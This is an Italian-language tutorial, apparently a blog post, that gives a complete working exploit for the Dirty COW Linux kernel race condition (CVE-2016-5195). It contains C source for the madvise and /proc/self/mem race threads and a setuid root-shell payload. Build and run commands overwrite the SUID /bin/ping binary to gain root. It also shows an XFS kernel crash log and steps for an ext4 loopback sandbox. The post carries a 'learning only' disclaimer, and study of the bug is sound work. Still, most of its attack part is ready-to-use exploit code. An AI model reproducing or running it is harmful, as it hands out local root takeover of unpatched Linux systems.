
Implementazione educativa dell'exploit di escalation dei privilegi Dirty COW (CVE-2016-5195), inclusi payload di race condition ed escalation a shell root basata su SUID per sistemi Linux.
记录仅以学习为目的,禁止用于非法用途
La vulnerabilità si basa sulla scrittura concorrente di pagine dirty, che modifica il contenuto di file originariamente in sola lettura
Se il file modificato è di proprietà di root e dispone del permesso SUID, è possibile sfruttarlo per l'escalation dei privilegi
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// Utilizzato per memorizzare il contenuto del Payload letto dal file e la sua dimensione
char *payload_buf;
size_t payload_size;
// Thread B: chiama ripetutamente madvise per dire al kernel di scartare la pagina di memoria
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] Thread madvise terminato\n");
return NULL;
}
// Thread A: scrive continuamente dati nella mappatura di sola lettura tramite /proc/self/mem
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// Scrive il buffer del Payload in memoria
c += write(f, payload_buf, payload_size);
}
printf("[-] Thread /proc/self/mem terminato\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Uso: %s <file di destinazione in sola lettura> <file di input Payload>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Apre e legge il contenuto del file Payload in memoria
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Apertura del file Payload fallita");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Il file Payload è vuoto\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Lettura del file Payload fallita");
return 1;
}
close(pf);
printf("[*] File Payload caricato con successo: %s (dimensione: %zu byte)\n", payload_file, payload_size);
// Mappa il file di destinazione
f = open(name, O_RDONLY);
if (f < 0) {
perror("Apertura del file di destinazione fallita");
return 1;
}
fstat(f, &st);
// Evita che la lunghezza del Payload superi quella del file di destinazione
if (payload_size > st.st_size) {
printf("[!] Avviso: dimensione del Payload (%zu) maggiore della dimensione del file di destinazione (%zu).\n", payload_size, st.st_size);
printf("[!] Secondo la caratteristica di sovrascrittura in-place di Dirty COW, la parte eccedente la dimensione del file di destinazione verrà troncata e scartata dal file system!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] Indirizzo di mappatura del file di destinazione: %p\n", map);
// Avvia la race condition
pthread_t pth1, pth2;
printf("[*] Avvio della race condition...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] Race terminata, controlla il contenuto di %s.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// Ripristina l'identità di root
setuid(0);
setgid(0);
// Apre una bash di root
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc -o d dirtycow_file_payload.c -lpthread
gcc -o up up.c
# Nel proprio ambiente è necessario eseguire un backup del ping originale
cp /bin/ping ./ping
# Esegue l'escalation dei privilegi
./d /bin/ping ./up
# Successivamente appare il prompt del terminale con utente root
I passaggi sopra descritti riescono nell'escalation dei privilegi su distribuzioni come Ubuntu e Debian che usano di default il file system Ext, poiché Ext applica controlli più permissivi sui permessi di lettura/scrittura delle pagine dirty Invece su distribuzioni della famiglia Red Hat, che usano di default XFS, l'attacco diventa un DDoS, attivando l'asserzione di controllo delle pagine dirty e causando il riavvio del sistema Panoramica OCR dell'immagine di crash:
[ 0.000000] Detected CPU family 6 model 94
[ 0.000000] Warning: Intel CPU model - this hardware has not undergone upstre
am testing. Please consult http://wiki.centos.org/FAQ for more information
[ 8.4818041 mce: Unable to init device /dev/mcelog (rc: -5)hrough
[ 2.547101] sd 2:0:8:8: [sda] Assuming drive cache: write through
systemd-fsck[336]: /sbin/fsck.xfs: XFS file system.
kdumm: dump target is /dew/mapper/centos-roo
kdump: saving to /sysroot//var/crash/127.0.8.1-2826.08.26-16:11:03/
kdump: saving umcore-dmesg.txt
kdumm: saving vmcore-dmesg.txt
kdump: saving vmcore
Excluding unnecessary pages
Log dettagliato:
[ 6212.157286] ------------[ cut here ]------------
[ 6212.157291] kernel BUG at fs/xfs/xfs_aops.c:1031!
[ 6212.157292] invalid opcode: 0000 [#1] SMP
[ 6212.157294] Modules linked in: tcp_lp nls_utf8 isofs bnep bluetooth rfkill fuse ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables coretemp crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev snd_ens1371 snd_rawmidi snd_ac97_codec ac97_bus snd_seq snd_seq_device aesni_intel lrw gf128mul glue_helper ablk_helper cryptd snd_pcm vmw_balloon serio_raw pcspkr snd_timer snd soundcore vmw_vmci i2c_piix4 shpchp parport_pc parport uinput xfs libcrc32c sr_mod
[ 6212.157307] cdrom ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common vmwgfx drm_kms_helper ttm ata_piix drm e1000 mptspi scsi_transport_spi i2c_core mptscsih mptbase libata dm_mirror dm_region_hash dm_log dm_mod
[ 6212.157313] CPU: 0 PID: 6231 Comm: kworker/u256:2 Not tainted 3.10.0-229.el7.x86_64 #1
[ 6212.157314] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 04/05/2016
[ 6212.157321] Workqueue: writeback bdi_writeback_workfn (flush-253:0)
[ 6212.157323] task: ffff8800456ead80 ti: ffff88003dd60000 task.ti: ffff88003dd60000
[ 6212.157324] RIP: 0010:[<ffffffffa01dc8e3>] [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157346] RSP: 0018:ffff88003dd63948 EFLAGS: 00010246
[ 6212.157347] RAX: 001fffff0002006d RBX: ffff880077aceee8 RCX: 000000000000000c
[ 6212.157347] RDX: 0000000000000000 RSI: ffffea00001057c0 RDI: ffffea00001057c0
[ 6212.157348] RBP: ffff88003dd639f0 R08: fffffffffffffffd R09: 0000000000016978
[ 6212.157349] R10: 0000000000000000 R11: 000000000000000b R12: ffff880077aceee8
[ 6212.157349] R13: ffff88003dd63c40 R14: ffff880077aced98 R15: ffffea00001057c0
[ 6212.157350] FS: 0000000000000000(0000) GS:ffff88007c600000(0000) knlGS:0000000000000000
[ 6212.157351] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 6212.157352] CR2: 00007f46c2083000 CR3: 0000000042ccb000 CR4: 00000000003407f0
[ 6212.157385] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 6212.157403] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 6212.157403] Stack:
[ 6212.157404] 000000000000af60 ffff880036142e00 ffff88003dd63c40 ffff88003dd63a68
[ 6212.157405] ffff88003dd63a80 ffffea00001057c0 0000000000001000 0000000000001000
[ 6212.157406] ffff88003dd639f0 ffffffff81157091 0000000000000000 ffff880077aceef0
[ 6212.157407] Call Trace:
[ 6212.157412] [<ffffffff81157091>] ? find_get_pages_tag+0xe1/0x1a0
[ 6212.157414] [<ffffffff811610c3>] __writepage+0x13/0x50
[ 6212.157415] [<ffffffff81161be1>] write_cache_pages+0x251/0x4d0
[ 6212.157425] [<ffffffff811610b0>] ? global_dirtyable_memory+0x70/0x70
[ 6212.157427] [<ffffffff81161ead>] generic_writepages+0x4d/0x80
[ 6212.157435] [<ffffffffa01dbec3>] xfs_vm_writepages+0x43/0x50 [xfs]
[ 6212.157437] [<ffffffff81162f5e>] do_writepages+0x1e/0x40
[ 6212.157439] [<ffffffff811f04e0>] __writeback_single_inode+0x40/0x220
[ 6212.157440] [<ffffffff811f11de>] writeback_sb_inodes+0x25e/0x420
[ 6212.157441] [<ffffffff811f143f>] __writeback_inodes_wb+0x9f/0xd0
[ 6212.157443] [<ffffffff811f1c83>] wb_writeback+0x263/0x2f0
[ 6212.157445] [<ffffffff811e094c>] ? get_nr_inodes+0x4c/0x70
[ 6212.157446] [<ffffffff811f32cb>] bdi_writeback_workfn+0x2cb/0x460
[ 6212.157449] [<ffffffff8108f1db>] process_one_work+0x17b/0x470
[ 6212.157450] [<ffffffff8108ffbb>] worker_thread+0x11b/0x400
[ 6212.157451] [<ffffffff8108fea0>] ? rescuer_thread+0x400/0x400
[ 6212.157452] [<ffffffff8109739f>] kthread+0xcf/0xe0
[ 6212.157454] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157456] [<ffffffff8161497c>] ret_from_fork+0x7c/0xb0
[ 6212.157458] [<ffffffff810972d0>] ? kthread_create_on_node+0x140/0x140
[ 6212.157458] Code: df e8 02 a4 f7 e0 8b 45 a4 e9 6f fb ff ff 48 89 df e8 f2 d6 01 e1 44 8b 9d 74 ff ff ff 44 8b 4d a0 e9 c5 fe ff ff e8 5d 18 e9 e0 <0f> 0b 41 b9 01 00 00 00 e9 89 fe ff ff 80 3d ce bb 09 00 00 0f
[ 6212.157469] RIP [<ffffffffa01dc8e3>] xfs_vm_writepage+0x563/0x5d0 [xfs]
[ 6212.157474] RSP <ffff88003dd63948>
Se si dispone solo di un ambiente della famiglia Red Hat (ad esempio CentOS 7) e si vuole comunque provare, è possibile creare manualmente un file system Ext per simulare l'escalation dei privilegi
# Crea un file di 32MB riempito di zeri (come disco virtuale)
dd if=/dev/zero of=/tmp/ext4_test.img bs=1M count=32
# Formatta il file come file system Ext4
mkfs.ext4 /tmp/ext4_test.img
# Crea una directory per il punto di mount
mkdir -p /tmp/ext4_mount
# Monta il file del disco virtuale sulla directory usando il dispositivo loop (richiede privilegi di root)
sudo mount -o loop /tmp/ext4_test.img /tmp/ext4_mount
# Verifica che il mount sia riuscito
df -T -h | grep ext4_mount
# Copia il programma ping nella partizione sandbox
sudo cp /bin/ping /tmp/ext4_mount/
# Imposta il proprietario root e il permesso SUID (4755 rappresenta rwsr-xr-x)
sudo chown root:root /tmp/ext4_mount/ping
sudo chmod 4755 /tmp/ext4_mount/ping
# Controlla che i permessi siano impostati correttamente
ls -la /tmp/ext4_mount/ping
gcc -o ./d ./dirtycow_file_payload.c -lpthread
gcc -o ./up ./up.c -lpthread
./d /tmp/ext4_mount/ping ./up
# Dopo la fine della race, esegui il ping nella sandbox per ottenere una shell di root
/tmp/ext4_mount/ping
Logica di pulizia allegata
# Smonta la partizione
sudo umount /tmp/ext4_mount
# Elimina il punto di mount e il file del disco virtuale
rm -rf /tmp/ext4_mount
rm -f /tmp/ext4_test.img